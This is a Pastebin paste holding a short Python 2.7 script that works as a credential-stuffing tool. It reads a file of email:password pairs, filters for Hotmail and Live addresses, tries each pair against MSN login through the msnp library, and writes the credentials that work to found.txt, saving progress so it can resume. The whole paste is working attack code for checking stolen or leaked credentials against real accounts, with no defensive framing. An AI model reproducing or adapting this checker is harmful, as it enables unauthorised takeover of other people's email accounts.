Guest User

Untitled

a guest
Jun 22nd, 2018
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. #!/usr/bin/python2.7
  2. f = open("/home/josh/emailpass.txt")
  3. stetes = open("/home/josh/status.txt")
  4. ples = stetes.readline()
  5. stetes.close()
  6. totali = float(len(f.readlines()))
  7. f.close()
  8. f = open("/home/josh/emailpass.txt")
  9. f2 = open("/home/josh/found.txt","a")
  10. stats = float(0)
  11. great = 0
  12. for gege in range(int(totali)):
  13. koo = f.readline()
  14. stats = float(stats + 1)
  15. if koo.strip() == ples.strip():
  16. print "sup"
  17. break
  18. print "loep"
  19. import msnp
  20. great = 0
  21. msn = msnp.Session()
  22. for line in f.readlines():
  23. f2.close()
  24. f2 = open("/home/josh/found.txt","a")
  25. stats = float(stats + 1)
  26. print str((stats / totali) * 100) + "% done!\nNow checking: " + line + "\nSo far, " + str(great) + " addresses worked. ;p"
  27. if len(line.split("@hotmail.")) > 1 or len(line.split("@live.")) > 1:
  28. good = 1
  29. leaddress = line.split(":")[0].strip()
  30. lepass = line.split(":")[1].strip()
  31. try:
  32. msn.login(leaddress,lepass)
  33. msn.logout()
  34. except msnp.error.HttpError, err:
  35. if int(err.http_status) == 401:
  36. good = 0
  37. else:
  38. uhoh = open("/home/josh/log.txt","w")
  39. uhoh.write(err.message + ":" + err.code + ":" + err.http_status)
  40. uhoh.close()
  41. raise
  42. if good:
  43. f2.write(line)
  44. great = great + 1
  45. stetes = open("/home/josh/status.txt","w")
  46. stetes.write(line)
  47. stetes.close()
  48. f.close()
  49. f2.close()
Add Comment
Please, Sign In to add comment